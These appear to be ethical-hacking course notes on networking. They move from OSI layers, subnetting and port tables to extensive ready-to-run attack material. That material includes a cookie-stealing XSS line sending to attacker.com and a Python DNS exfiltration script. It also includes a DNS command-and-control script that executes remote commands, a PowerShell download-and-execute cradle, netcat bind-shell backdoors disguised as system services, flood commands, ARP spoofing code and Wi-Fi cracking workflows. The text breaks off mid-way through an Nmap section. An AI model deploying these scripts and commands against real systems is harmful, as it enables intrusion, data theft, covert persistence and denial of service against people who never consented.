NETWORKING NOTES FT SPL CYBERMIDSPACE

MODULE 1: NETWORKING FUNDAMENTALS ◆

What is Networking?

Definition: Networking is the practice of connecting computers, devices, and systems to share resources, data, and services.

Why Networking is the Foundation of Ethical Hacking:

1. **Attack Surface Identification**: Networks expose multiple entry points
2. **Lateral Movement**: Compromised systems can pivot through networks
3. **Data Interception**: Network traffic contains sensitive information
4. **Service Discovery**: Networks reveal running services and vulnerabilities

5. **Infrastructure Mapping**: Understanding network topology reveals attack paths

> 🎯 **Hacker Mindset**: "The network is the battlefield - know it better than the defender"

OSI vs TCP/IP Models with Attack Examples

OSI Model (7 Layers)

text

```
┌──────────────────────────────────────────────────────┐
│ Layer 7: Application   | HTTP, FTP, SSH, DNS         |
├──────────────────────────────────────────────────────┤
│ Layer 6: Presentation | SSL/TLS, Encryption          |
├──────────────────────────────────────────────────────┤
│ Layer 5: Session       | NetBIOS, RPC, SQL           |
├──────────────────────────────────────────────────────┤
```

```
│ Layer 4: Transport     │ TCP, UDP              │
├──────────────────────────────────────────────────┤
│ Layer 3: Network       │ IP, ICMP, ARP         │
├──────────────────────────────────────────────────┤
│ Layer 2: Data Link     │ Ethernet, Wi-Fi       │
├──────────────────────────────────────────────────┤
│ Layer 1: Physical      │ Cables, Radio Waves   │
└──────────────────────────────────────────────────┘
```

TCP/IP Model (4 Layers)

text

```
┌──────────────────────────────────────────────────┐
│ Application Layer      │ HTTP, FTP, SSH, DNS   │
├──────────────────────────────────────────────────┤
│ Transport Layer        │ TCP, UDP              │
├──────────────────────────────────────────────────┤
│ Internet Layer         │ IP, ICMP, ARP         │
├──────────────────────────────────────────────────┤
```

```
│ Network Access Layer  │ Ethernet, Wi-Fi      │
└──────────────────────────────────────────────┘
```

Real-World Attacks by Layer

Layer	Attack Examples	Tools Used
Layer 7 (Application)	SQL Injection, XSS, Command Injection	SQLmap, XSStrike, Burp Suite
Layer 6 (Presentation)	SSL Stripping, Certificate Spoofing	SSLstrip, SSLscan
Layer 5 (Session)	Session Hijacking, Session Fixation	Firesheep, Burp Suite
Layer 4 (Transport)	SYN Flood, Port Scanning	Hping3, Nmap, Masscan
Layer 3 (Network)	IP Spoofing, Route Hijacking	Hping3, Scapy
Layer 2 (Data Link)	ARP Spoofing, MAC Flooding	Ettercap, Macof
Layer 1 (Physical)	Cable Tapping, RF Jamming	Hardware devices

---

Types of Networks

1. Local Area Network (LAN)

- **Range**: Small geographical area (building, office)
- **Attack Vectors**: ARP spoofing, VLAN hopping, broadcast storms
- **Hacker Advantage**: Physical proximity, shared collision domains

2. Wide Area Network (WAN)

- **Range**: Large geographical area (cities, countries)
- **Attack Vectors**: BGP hijacking, MPLS attacks, satellite interception
- **Hacker Challenge**: Remote attacks, encrypted links

3. Metropolitan Area Network (MAN)

- **Range**: City or large campus
- **Attack Vectors**: Fiber tapping, wireless interception
- **Common Targets**: Government networks, university systems

4. Wireless LAN (WLAN)

- **Range**: Radio frequency coverage area
- **Attack Vectors**: De-authentication, evil twin, handshake cracking
- **Tools**: Aircrack-ng, Reaver, Wifite

5. Software Defined Network (SDN)

- **Concept**: Centralized network control
- **Attack Vectors**: Controller compromise, flow table poisoning
- **Emerging Threat**: Single point of failure

6. Cloud Networks

- **Types**: Public, Private, Hybrid clouds
- **Attack Vectors**: Misconfigured security groups, container escapes
- **Example**: AWS VPC, Azure Virtual Networks

MODULE 2: NETWORK DEVICES ◆

Router

text

```
Internet ↔ [ROUTER] ↔ Internal Network
               │
               ├── Routing Table
               ├── NAT/PAT
               └── Access Control Lists
```

Function: Route packets between different networks **Security Implications**:

- **Attacks**: Route hijacking, firmware exploitation
- **Default Credentials**: admin/admin, admin/password
- **Vulnerabilities**: Weak SNMP communities, outdated firmware

Switch

text

```
    Device A ─┐
              ├── [SWITCH] ─── Device D
```

```
    Device B ─┤     │
              └── Device C
```

Function: Forward frames within the same network segment **Security Implications**:

- **Attacks**: MAC flooding, VLAN hopping, STP manipulation
- **CAM Table Overflow**: Forces switch into hub mode
- **VLAN Attacks**: Double tagging, switch spoofing

Hub (Legacy)

text

```
Device A ──┬── Device B
           │
    [HUB]──┼── Device C
           │
Device D ──┴── Device E
```

Function: Repeats signals to all ports (collision domain) **Security Risk**: All traffic visible to all devices (easy sniffing)

Firewall Types

Stateless Firewall

- **Function**: Packet filtering based on headers only
- **Bypass**: Fragment attacks, connection state manipulation

Stateful Firewall

- **Function**: Tracks connection state
- **Bypass**: Connection hijacking, covert channels

Next-Generation Firewall (NGFW)

- **Function**: Deep packet inspection, application awareness
- **Features**: IPS, antivirus, web filtering
- **Bypass**: Encrypted tunnels, legitimate applications

Intrusion Detection/Prevention Systems

IDS (Intrusion Detection System)

text

```
Network Traffic ──→ [IDS] ──→ Alerts/Logs
                      |
                Analysis Engine
```

IPS (Intrusion Prevention System)

text

```
Network Traffic ──→ [IPS] ──→ Filtered Traffic
                      |
                Block/Allow Decision
```

Detection Methods:

- **Signature-based**: Known attack patterns

- **Anomaly-based**: Behavioral analysis
- **Evasion Techniques**: Fragmentation, encoding, timing attacks

Proxy Server

text

```
Client ──→ [PROXY] ──→ Internet
             │
     ┌──────────────────┐
     │ Cache  │ Filter  │
     │ Log    │ Modify  │
     └──────────────────┘
```

Types:

- **Forward Proxy**: Client-side proxy
- **Reverse Proxy**: Server-side proxy
- **Transparent Proxy**: Invisible to client

Hacker Uses: Anonymization, traffic manipulation, bypassing restrictions

Load Balancer

text

```
      Internet
          |
    [LOAD BALANCER]
    /      |      \
Server 1  Server 2  Server 3
```

Attack Vectors: Session persistence bypass, SSL termination attacks

---

MODULE 3: IP ADDRESSING & SUBNETTING ◆

IPv4 Structure

text

```
192.168.001.100
 │    │   │   │
 └────┼───┼───┼── Network Portion
      └───┼───┼── Subnet Portion
          └───┼── Host Portion
              └── Specific Host
```

IPv4 Classes

Class	Range	Default Mask	Networks	Hosts
A	1.0.0.0 - 126.255.255.255	/8	126	16M
B	128.0.0.0 - 191.255.255.255	/16	16K	65K
C	192.0.0.0 - 223.255.255.255	/24	2M	254
D	224.0.0.0 - 239.255.255.255	Multicast	-	-
E	240.0.0.0 - 255.255.255.255	Reserved	-	-

Private IP Ranges (RFC 1918)

Class	Range	CIDR
A	10.0.0.0 - 10.255.255.255	10.0.0.0/8
B	172.16.0.0 - 172.31.255.255	172.16.0.0/12
C	192.168.0.0 - 192.168.255.255	192.168.0.0/16

IPv6 Structure

text

```
2001:0db8:85a3:0000:0000:8a2e:0370:7334
|    |    |    |    |    |    |    |
└────┴────┴────┴────┴────┴────┴────┴──── 128 bits total
```

Hacker Perspective: IPv6 provides larger address space, often less monitored

Subnetting with CIDR

Example: 192.168.1.0/24

text

```
Network: 192.168.1.0
Mask: 255.255.255.0 (/24)
Hosts: 254 (2^8 - 2)
Broadcast: 192.168.1.255
```

Subnetting for Reconnaissance

bash

```bash
# Nmap subnet scan
nmap -sn 192.168.1.0/24

# Masscan fast subnet discovery
masscan -p80,443 192.168.0.0/16 --rate=1000
```

NAT & PAT

Network Address Translation (NAT)

text

```
Private Network         NAT Router          Internet
192.168.1.10:1234 ⟶ 203.0.113.5:1234 ⟶ Web Server
192.168.1.11:5678 ⟶ 203.0.113.5:5678 ⟶ Mail Server
```

Port Address Translation (PAT)

text

```
Private Network         PAT Router          Internet
192.168.1.10:1234 ⟶ 203.0.113.5:5001 ⟶ Web Server
192.168.1.11:1234 ⟶ 203.0.113.5:5002 ⟶ Web Server
```

NAT/PAT Bypass Techniques

1. **NAT Traversal**: STUN, TURN, ICE protocols
2. **Port Forwarding**: UPnP exploitation
3. **Reverse Connections**: Victims connect to attacker
4. **DNS Tunneling**: Bypass NAT through DNS queries

MODULE 4: PROTOCOLS & PORTS ◆

Core Protocols Deep Dive

HTTP/HTTPS (Ports 80/443)

text

```
GET /index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: sessionid=abc123

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: newsession=xyz789
```

Attack Vectors:

- HTTP Request Smuggling
- SSL Stripping

- Certificate Pinning Bypass

DNS (Port 53)

text

```
Query: www.example.com (Type A)
Response: 93.184.216.34

Query Types:
A     - IPv4 Address
AAAA  - IPv6 Address
MX    - Mail Exchange
NS    - Name Server
TXT   - Text Records
```

DNS Attacks:

- DNS Poisoning/Spoofing
- DNS Tunneling (Data Exfiltration)
- DNS Amplification (DDoS)

SSH (Port 22)

text

```
ssh user@192.168.1.100
Password: ********

Features:
- Encrypted channel
- Public key authentication
- Port forwarding
- SFTP file transfer
```

SSH Attacks:

- Brute force attacks
- SSH tunneling for pivoting
- Weak key exploitation

FTP (Ports 20/21)

text

```
Control Channel (21): Commands
Data Channel (20): File transfer

Active FTP:  Client opens data port
Passive FTP: Server opens data port
```

FTP Vulnerabilities:

- Anonymous access
- Brute force attacks
- Bounce attacks

SMTP/POP3/IMAP (Ports 25, 110, 143)

text

```
SMTP (25): Mail sending
POP3 (110): Mail retrieval
IMAP (143): Mail access
```

```
SMTP Commands:
HELO/EHLO, MAIL FROM, RCPT TO, DATA
```

Email Attacks:

- SMTP relay abuse
- Email spoofing
- Credential harvesting

SNMP (Port 161)

text

```
Community Strings:
- public (read-only)
- private (read-write)

Versions:
v1: Plain text, weak security
```

```
v2c: Community-based
v3: Encrypted, authentication
```

SNMP Exploitation:

- Community string brute force
- MIB walking for reconnaissance
- Configuration changes

SMB (Ports 139/445)

text

```
NetBIOS (139): Legacy Windows sharing
SMB (445): Modern Windows sharing

Shares: C$, ADMIN$, IPC$
```

SMB Attacks:

- EternalBlue (MS17-010)
- Pass-the-Hash

- SMB relay attacks

RDP (Port 3389)

text

```
Remote Desktop Protocol
- Screen sharing
- Keyboard/mouse control
- Clipboard sharing
```

RDP Attacks:

- BlueKeep (CVE-2019-0708)
- Credential stuffing
- Session hijacking

Complete Port Reference Table

Port	Protocol	Service	Attack Vectors
21	TCP	FTP	Anonymous access, brute force, bounce attacks
22	TCP	SSH	Brute force, tunneling, weak keys
23	TCP	Telnet	Plain text credentials, MITM
25	TCP	SMTP	Open relay, email spoofing
53	TCP/UDP	DNS	Poisoning, tunneling, amplification
69	UDP	TFTP	File disclosure, no authentication
80	TCP	HTTP	Web attacks, request smuggling
88	TCP/UDP	Kerberos	Golden/Silver tickets, ASREPRoast
110	TCP	POP3	Credential harvesting
111	TCP/UDP	RPC	Service enumeration
135	TCP	MS-RPC	DCOM exploitation
139	TCP	NetBIOS	SMB attacks, null sessions
143	TCP	IMAP	Credential attacks
161	UDP	SNMP	Community string attacks, MIB walking
389	TCP	LDAP	Directory traversal, injection

Port	Protocol	Service	Attack Vectors
443	TCP	HTTPS	SSL attacks, certificate issues
445	TCP	SMB	EternalBlue, pass-the-hash
993	TCP	IMAPS	SSL/TLS attacks
995	TCP	POP3S	SSL/TLS attacks
1433	TCP	MSSQL	SQL injection, sa account attacks
1521	TCP	Oracle	TNS listener attacks
2049	TCP/UDP	NFS	File system access, privilege escalation
3306	TCP	MySQL	SQL injection, weak passwords
3389	TCP	RDP	BlueKeep, credential attacks
5432	TCP	PostgreSQL	SQL injection, privilege escalation
5900	TCP	VNC	Weak passwords, screen sharing
8080	TCP	HTTP-Alt	Web attacks, proxy bypass
8443	TCP	HTTPS-Alt	SSL attacks

Advanced Port Techniques

Port Knocking

bash

```bash
# Sequence: 1234, 5678, 9012
nmap -p 1234 target.com
nmap -p 5678 target.com
nmap -p 9012 target.com
# SSH port 22 now opens
```

DNS Tunneling Example

bash

```bash
# Exfiltrate data via DNS queries
dig secret.data.attacker.com
```

HTTP/HTTPS Tunneling

bash

```bash
# Tunnel SSH over HTTP
```

```
ssh -o ProxyCommand='nc -X connect -x proxy:8080 %h %p' user@target
```

MODULE 5: NETWORK TOPOLOGIES ◆

Bus Topology

text

```
Device A ─── Device B ─── Device C ─── Device D
             |
          Terminator
```

Attack Surface:

- Single point of failure
- Easy to tap into cable
- All traffic visible to all devices

Defensive Measures: Cable protection, network segmentation

Star Topology

text

```
         Device A
            │
Device D ──┼── [CENTRAL HUB/SWITCH] ──┼── Device B
            │                         │
         Device C                   Device E
```

Attack Surface:

- Central device is critical target
- Switch compromise affects all devices
- VLAN attacks possible

Defensive Measures: Redundant switches, access control

Mesh Topology

text

```
Device A ────── Device B
   |  \     /      |
   |   \   /       |
   |    \ /        |
Device D ────── Device C
```

Types:

- **Full Mesh**: Every device connected to every other
- **Partial Mesh**: Some devices have multiple connections

Attack Surface:

- Multiple paths complicate monitoring
- Route manipulation possible
- More resilient to single point failures

Ring Topology

text

```
Device A ── Device B
   |           |
Device D ── Device C
```

Attack Surface:

- Token-based systems vulnerable to token manipulation
- Break in ring affects entire network
- Monitoring traffic at single point possible

Wireless Topology

text

```
     [ACCESS POINT]
         /  |  \
   Device A | Device C
            Device B
```

Attack Surface:

- RF spectrum attacks (jamming)
- Rogue access points
- WPS attacks
- Evil twin attacks

MODULE 6: ROUTING & SWITCHING ◆

Static vs Dynamic Routing

Static Routing

bash

```bash
# Add static route
ip route add 192.168.2.0/24 via 192.168.1.1

# Windows
route add 192.168.2.0 mask 255.255.255.0 192.168.1.1
```

Pros: Simple, secure, predictable **Cons**: Manual configuration, no failover **Attack Vector**: Route injection if administrative access gained

Dynamic Routing Protocols

RIP (Routing Information Protocol)

- **Metric**: Hop count (max 15)
- **Update**: Every 30 seconds
- **Vulnerability**: No authentication, route poisoning

OSPF (Open Shortest Path First)

- **Metric**: Cost based on bandwidth
- **Features**: Area-based design, fast convergence
- **Vulnerability**: LSA flooding, area 0 compromise

BGP (Border Gateway Protocol)

- **Use**: Internet routing between ASes
- **Vulnerability**: Route hijacking, AS path manipulation

VLAN Attacks

VLAN Hopping Attack #1: Double Tagging

text

```
Attacker Frame:
[Ethernet][802.1Q Tag 10][802.1Q Tag 20][Payload]

Switch removes first tag (VLAN 10), forwards to VLAN 20
```

VLAN Hopping Attack #2: Switch Spoofing

bash

```bash
# Yersinia tool for DTP attacks
yersinia -G
```

Protection:

- Disable DTP on access ports

- Use explicit access/trunk configuration

MAC Flooding Attack

bash

```bash
# Macof tool floods switch CAM table
macof -i eth0 -n 10000
```

Result: Switch becomes hub, all traffic visible

Spanning Tree Protocol (STP) Attacks

STP Root Bridge Attack

text

```text
Attacker sends superior BPDU:
- Lower bridge priority
- Becomes root bridge
- Can intercept traffic
```

Protection:

- Root Guard
- BPDU Guard
- PortFast on access ports

MODULE 7: FIREWALLS, VPNS & PROXIES ◆

Firewall Evasion Techniques

1. Fragmentation

bash

```
# Fragment packets to evade detection
nmap -f target.com
hping3 -f target.com
```

2. Source Port Manipulation

bash

```
# Use common source ports
nmap --source-port 53 target.com  # DNS
nmap --source-port 80 target.com  # HTTP
```

3. Timing Attacks

bash

```
# Slow scan to avoid rate limiting
nmap -T1 target.com
```

4. Decoy Scans

bash

```
# Hide real source among decoys
```

```
nmap -D decoy1,decoy2,ME,decoy3 target.com
```

VPN Types and Attacks

Site-to-Site VPN

text

```text
Site A [Router] ═══ Internet ═══ [Router] Site B
         │                          │
      [Tunnel]                   [Tunnel]
```

Protocols: IPSec, GRE **Attacks**: PSK cracking, tunnel injection

Remote Access VPN

text

```text
Remote User ═══ Internet ═══ [VPN Gateway] ─── Corporate Network
```

Protocols: L2TP/IPSec, SSTP, OpenVPN **Attacks**: Credential stuffing, certificate theft

SSL VPN

text

```
Browser ──HTTPS──> [SSL VPN Gateway] ──> Internal Resources
```

Attacks: Session hijacking, SSL stripping

VPN Vulnerabilities & Exploits

IPSec Weaknesses

1. **Aggressive Mode**: PSK hash disclosure
2. **Main Mode**: Identity disclosure
3. **Weak PSKs**: Dictionary attacks possible

OpenVPN Attacks

bash

```
# Exploit client configuration
openvpn --config malicious.ovpn
```

Common VPN CVEs

- **CVE-2019-11510**: Pulse Secure path traversal
- **CVE-2020-12271**: Fortinet SSL VPN buffer overflow
- **CVE-2021-44228**: Log4Shell in VPN appliances

Proxy Chaining & Anonymization

Proxy Chain Example

text

```
Client → Proxy 1 → Proxy 2 → Proxy 3 → Target
   |          |          |          |
  Real IP  Hidden    Hidden    Visible
```

Tor Network

bash

```bash
# Install Tor
apt install tor

# Configure proxy
export http_proxy=socks5://127.0.0.1:9050
export https_proxy=socks5://127.0.0.1:9050

# Use with tools
proxychains nmap target.com
```

ProxyChains Configuration

bash

```bash
# /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 9050
http 192.168.1.100 8080
socks4 10.0.0.1 1080
```

MODULE 8: WIRELESS & IOT NETWORKING ◆

Wi-Fi Security Evolution

WEP (Wired Equivalent Privacy)

- **Key Length**: 40-bit or 104-bit
- **Weakness**: RC4 stream cipher, IV reuse
- **Attack**: IV collection, statistical analysis

bash

```bash
# WEP cracking with Aircrack-ng
airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng -1 0 -a [BSSID] wlan0mon
aircrack-ng capture.cap
```

WPA/WPA2 (Wi-Fi Protected Access)

- **Encryption**: TKIP (WPA) or AES/CCMP (WPA2)
- **Authentication**: PSK or Enterprise (802.1X)
- **Weakness**: 4-way handshake capture

bash

```bash
# WPA2 cracking workflow
airmon-ng start wlan0
airodump-ng -c 6 --bssid [BSSID] -w capture wlan0mon
aireplay-ng -0 10 -a [BSSID] wlan0mon
aircrack-ng -w wordlist.txt capture.cap
```

WPA3 (Latest Standard)

- **Features**: SAE (Simultaneous Authentication of Equals)
- **Protection**: Against offline dictionary attacks
- **Weakness**: Dragonfly handshake timing attacks

Wireless Attack Techniques

1. De-authentication Attack

bash

```bash
# Kick all clients off network
aireplay-ng -0 0 -a [BSSID] wlan0mon

# Target specific client
aireplay-ng -0 5 -a [BSSID] -c [CLIENT_MAC] wlan0mon
```

2. Evil Twin Attack

bash

```bash
# Create fake AP
hostapd fake_ap.conf

# DNS spoofing
dnsmasq -C fake_dns.conf
```

```
# Capture credentials
ettercap -T -M arp -i at0 //
```

3. WPS Attacks

bash

```
# WPS PIN brute force
reaver -i wlan0mon -b [BSSID] -vv -S

# Pixie dust attack
reaver -i wlan0mon -b [BSSID] -K 1 -vv
```

4. Captive Portal Bypass

bash

```
# MAC spoofing to authorized device
macchanger -m [AUTHORIZED_MAC] wlan0
```

```
# DNS tunneling through captive portal
iodine -f -P password tunnel.domain.com
```

IoT Networking Protocols

ZigBee

- **Frequency**: 2.4 GHz
- **Range**: 10-20 meters
- **Topology**: Mesh network
- **Security**: AES-128 encryption

Attack Vectors:

- Key extraction from devices
- Replay attacks
- Mesh network disruption

MQTT (Message Queuing Telemetry Transport)

text

```
[IoT Device] ──publish──> [MQTT Broker] ──subscribe──>
[Application]
```

Default Port: 1883 (unencrypted), 8883 (TLS) **Vulnerabilities**:

- Weak authentication
- Unencrypted communication
- Topic enumeration

bash

```bash
# MQTT reconnaissance
nmap -p 1883,8883 target_network

# Subscribe to all topics
mosquitto_sub -h broker_ip -t '#' -v
```

CoAP (Constrained Application Protocol)

- **Port**: 5683 (UDP)

- **Purpose**: RESTful protocol for IoT
- **Security Issues**: No built-in security, DoS via amplification

bash

```bash
# CoAP enumeration
nmap -sU -p 5683 --script coap-resources target
```

LoRaWAN (Long Range Wide Area Network)

- **Range**: 2-15 km
- **Frequency**: Sub-GHz bands
- **Attack Vectors**: Replay attacks, key extraction

Real-World IoT Attacks

Mirai Botnet (2016)

- **Target**: IoT devices with default credentials
- **Method**: Telnet brute force

- **Impact**: Massive DDoS attacks (Dyn DNS outage)

Ring Doorbell Vulnerabilities

- **Issues**: Weak Wi-Fi passwords, unencrypted communications
- **Result**: Unauthorized access to video feeds

Smart Car Attacks

- **CAN Bus**: Controller Area Network vulnerabilities
- **Attack Vector**: OBD-II port exploitation
- **Impact**: Vehicle control, data theft

MODULE 9: NETWORK ATTACKS & EXPLOITATION ◆

Man-in-the-Middle (MITM) Attacks

ARP Spoofing/Poisoning

text

```text
Normal ARP:
Who has 192.168.1.1? → MAC: aa:bb:cc:dd:ee:ff

ARP Poisoning:
Attacker claims: 192.168.1.1 is at ATTACKER_MAC
                 192.168.1.100 is at ATTACKER_MAC

Result: Traffic flows through attacker
```

bash

```bash
# Using Ettercap
ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//

# Using Bettercap
bettercap -iface eth0
> arp.spoof on
> set arp.spoof.targets 192.168.1.100
```

DNS Spoofing

bash

```bash
# Ettercap with DNS spoofing
echo "*.bank.com A 192.168.1.200" >> etter.dns
ettercap -T -M arp:remote -P dns_spoof //
```

SSL Stripping

bash

```bash
# Using sslstrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-port 8080
sslstrip -l 8080 -w sslstrip.log
```

Denial of Service (DoS) Attacks

SYN Flood Attack

bash

```bash
# Using hping3
hping3 -S -p 80 --flood target.com

# Using Scapy
from scapy.all import *
target = "192.168.1.100"
for port in range(1, 65535):
    packet = IP(dst=target)/TCP(dport=port, flags="S")
    send(packet, verbose=0)
```

UDP Flood

bash

```bash
# hping3 UDP flood
hping3 -2 -p 80 --flood target.com

# Random port UDP flood
hping3 -2 --rand-source --flood target.com
```

ICMP Flood (Ping of Death)

bash

```bash
# Large ICMP packets
ping -s 65507 target.com

# Continuous ping flood
ping -f target.com
```

Amplification Attacks

DNS Amplification

text

```text
1. Spoof source IP to victim
2. Send small DNS query to open resolvers
3. Large DNS response sent to victim
```

```
Query (64 bytes) → Response (3000+ bytes)
Amplification Factor: ~50x
```

NTP Amplification

bash

```bash
# Find NTP servers with monlist
ntpdc -n -c monlist ntp_server

# Amplification factor: ~556x
```

DDoS Using Botnets

text

```text
Command & Control Server
          |
     ┌────┼────┐
Bot 1   Bot 2   Bot 3   ... Bot N
    \    |    /       /
```

```
     \   |   /       /
      \ Target /     /
```

Session Attacks

Session Hijacking

bash

```bash
# Cookie theft via XSS
<script>document.location='http://attacker.com/steal.php?
cookie='+document.cookie</script>

# Network-based session theft
wireshark filter: http.cookie
```

Session Fixation

text

```
1. Attacker obtains valid session ID
2. Forces victim to use this session ID
3. Victim authenticates
4. Attacker uses fixed session I
```

Network Protocol Attacks

TCP Hijacking

bash

```bash
# Monitor connection to get sequence numbers
tcpdump -i eth0 host victim.com and host target.com

# Craft hijack packet with correct sequence
hping3 -A -s source_port -p dest_port -M seq_number -L ack_number
target.com
```

BGP Hijacking

text

```
Normal Route: AS 100 → AS 200 → AS 300 (Destination)
Hijacked:     AS 100 → AS 666 → Internet (Traffic diverted)

Attack Steps:
1. Announce more specific prefix
2. Claim shorter AS path
3. Route traffic through malicious AS
```

DHCP Attacks

Rogue DHCP Server

bash

```bash
# Set up rogue DHCP server
dnsmasq --interface=eth0 --dhcp-
range=192.168.1.50,192.168.1.100,12h \
        --dhcp-option=3,192.168.1.200 --dhcp-option=6,8.8.8.8

# Result: Clients get attacker as default gateway
```

DHCP Starvation

bash

```bash
# Exhaust DHCP pool
yersinia -G  # GUI mode for DHCP attacks
# Or command line:
yersinia -attack dhcp -type 1
```

VLAN Attacks (Extended)

Switch Spoofing (DTP Attack)

bash

```bash
# Generate DTP frames to negotiate trunk
yersinia -attack dtp -type 1

# Manual configuration
vconfig add eth0 10  # Add VLAN 10 tag
ifconfig eth0.10 192.168.10.100
```

Double Tagging Attack

python

```python
# Scapy double tagging
from scapy.all import *

# Create double-tagged frame
packet = Ether(dst="ff:ff:ff:ff:ff:ff") / \
         Dot1Q(vlan=1) / \
         Dot1Q(vlan=20) / \
         IP(dst="192.168.20.1") / \
         ICMP()

sendp(packet, iface="eth0")
```

MODULE 10: ADVANCED HACKER TECHNIQUES ◆

Packet Crafting & Manipulation

Using Hping3

bash

```bash
# Custom TCP packet with specific flags
hping3 -S -p 80 -s 1234 target.com

# TCP with custom sequence number
hping3 -A -p 80 -M 1000000 -L 1000001 target.com

# Fragmented packets
hping3 -f -p 80 target.com

# Custom payload
hping3 -p 80 -d 100 -E payload.txt target.com

# Traceroute with TCP
hping3 -T -p 80 target.com
```

Using Scapy (Advanced)

python

```python
#!/usr/bin/env python3
from scapy.all import *

# Custom packet construction
def craft_packet():
    # Ethernet layer
    eth = Ether(dst="ff:ff:ff:ff:ff:ff")

    # IP layer with spoofed source
    ip = IP(src="10.0.0.1", dst="192.168.1.100")

    # TCP layer with SYN flag
    tcp = TCP(sport=1234, dport=80, flags="S", seq=1000)

    # Combine layers
    packet = eth/ip/tcp
```

```python
    # Send packet
    sendp(packet, iface="eth0", verbose=1)

# Port scanner using Scapy
def tcp_scan(target, ports):
    for port in ports:
        packet = IP(dst=target)/TCP(dport=port, flags="S")
        response = sr1(packet, timeout=1, verbose=0)

        if response and response.haslayer(TCP):
            if response[TCP].flags == 18:  # SYN-ACK
                print(f"Port {port}: Open")
            elif response[TCP].flags == 4:  # RST
                print(f"Port {port}: Closed")

# ARP spoofing function
def arp_spoof(target_ip, gateway_ip, interface):
    target_mac = getmacbyip(target_ip)
    gateway_mac = getmacbyip(gateway_ip)

    while True:
```

```
        # Poison target's ARP table
        arp1 = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip)

        # Poison gateway's ARP table
        arp2 = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac,
psrc=target_ip)

        send(arp1, verbose=False)
        send(arp2, verbose=False)
        time.sleep(2)
```

Covert Channels & Tunneling

ICMP Tunneling

bash

```
# Using ptunnel
# Server side (victim)
ptunnel -x password
```

```bash
# Client side (attacker)
ptunnel -p victim_ip -lp 8000 -da target_ip -dp 22 -x password

# SSH through ICMP tunnel
ssh -p 8000 user@127.0.0.1
```

DNS Tunneling

bash

```bash
# Using iodine
# Server setup (attacker controlled domain)
iodined -f -c -P password 10.0.0.1 tunnel.domain.com

# Client connection
iodine -f -P password tunnel.domain.com

# Result: Creates tun interface for data exfiltration
```

HTTP/HTTPS Tunneling

bash

```bash
# Using httptunnel
# Server side
hts --forward-port localhost:22 8080

# Client side
htc --forward-port 8080 server_ip:8080
ssh user@localhost -p 8080
```

Custom DNS Tunneling Script

python

```python
#!/usr/bin/env python3
import base64
import dns.resolver
import time

def dns_exfiltrate(data, domain):
    """Exfiltrate data via DNS queries"""
```

```python
    encoded_data = base64.b64encode(data.encode()).decode()

    # Split data into chunks (DNS label max 63 chars)
    chunk_size = 50
    chunks = [encoded_data[i:i+chunk_size]
              for i in range(0, len(encoded_data), chunk_size)]

    for i, chunk in enumerate(chunks):
        query = f"{chunk}.{i}.{domain}"
        try:
            dns.resolver.query(query, 'A')
        except:
            pass  # Query sent, response doesn't matter
        time.sleep(0.1)

# Usage
secret_data = "sensitive_file_contents"
dns_exfiltrate(secret_data, "attacker.com")
```

Pivoting & Lateral Movement

SSH Tunneling for Pivoting

bash

```bash
# Local port forwarding
ssh -L 8080:internal_server:80 user@pivot_host

# Dynamic port forwarding (SOCKS proxy)
ssh -D 8080 user@pivot_host

# Remote port forwarding
ssh -R 8080:localhost:80 user@remote_host

# Multiple hop tunneling
ssh -L 8080:target:22 -o ProxyCommand='ssh user@pivot nc target 22'
user@pivot
```

Metasploit Pivoting

bash

```
# Meterpreter session pivoting
meterpreter> run autoroute -s 192.168.10.0/24
meterpreter> background

# Set up SOCKS proxy
msf> use auxiliary/server/socks4a
msf> set SRVPORT 1080
msf> run

# Configure proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf

# Attack through pivot
proxychains nmap -sT 192.168.10.0/24
```

PowerShell Empire Pivoting

powershell

```
# Set up Empire agent
(New-Object
```

```
System.Net.WebClient).DownloadString('http://attacker/launcher.ps1'
) | IEX

# Create SOCKS proxy
agents> interact AGENT_NAME
(Empire: AGENT_NAME) > usemodule management/invoke_socksproxy
(Empire: AGENT_NAME) > set Port 8080
(Empire: AGENT_NAME) > execute
```

Network Persistence Techniques

Backdoor Services

bash

```
# Create persistent netcat listener
echo "nc -l -p 4444 -e /bin/bash" > /etc/init.d/update-service
chmod +x /etc/init.d/update-service
update-rc.d update-service defaults

# Systemd persistence
cat > /etc/systemd/system/backup.service << EOF
```

```
[Unit]
Description=Backup Service

[Service]
ExecStart=/usr/bin/nc -l -p 8080 -e /bin/bash
Restart=always

[Install]
WantedBy=multi-user.target
EOF

systemctl enable backup.service
```

DNS-based Command and Control

python

```python
#!/usr/bin/env python3
import dns.resolver
import subprocess
import base64
import time
```

```python
def dns_c2(domain):
    """DNS-based C2 communication"""
    while True:
        try:
            # Query for commands
            query = f"cmd.{domain}"
            answers = dns.resolver.query(query, 'TXT')

            for answer in answers:
                command = base64.b64decode(str(answer)).decode()

                # Execute command
                result = subprocess.run(command, shell=True,
                                        capture_output=True,
text=True)

                # Exfiltrate result
                output =
base64.b64encode(result.stdout.encode()).decode()
                exfil_query = f"{output}.out.{domain}"
```

```
                dns.resolver.query(exfil_query, 'A')

        except:
            pass

        time.sleep(60)  # Check every minute

# Usage
dns_c2("attacker.com")
```

MODULE 11: NETWORK PENTESTING TOOLS ◆

Network Discovery & Scanning

Nmap (Network Mapper)

bash

```
# Host discovery
nmap -sn 192.168.1.0/24                    # Ping sweep
nmap -PS22,80,443 192.168.1.0/24           # TCP SYN ping
nmap -PU53,161 192.168.1.0/24              # UDP ping

# Port scanning techniques
nmap -sS target.com                        # SYN scan (stealth)
nmap -sT target.com                        # TCP connect scan
nmap -sU target.com                        # UDP scan
nmap -sA target.com                        # ACK scan (firewall
rules)
nmap -sW target.com                        # Window scan
nmap -sM target.com                        # Maimon scan

# Timing and performance
nmap -T0 target.com                        # Paranoid (very slow)
nmap -T1 target.com                        # Sneaky
nmap -T2 target.com                        # Polite
nmap -T3 target.com                        # Normal (default)
nmap -T4 target.com                        # Aggressive
nmap -T5 target.com                        # Insane (very fast)
```

```
# Advanced scanning
nmap -sS -O target.com                          # OS detection
nmap -sV target.com                             # Version detection
nmap -sC target.com                             # Default scripts
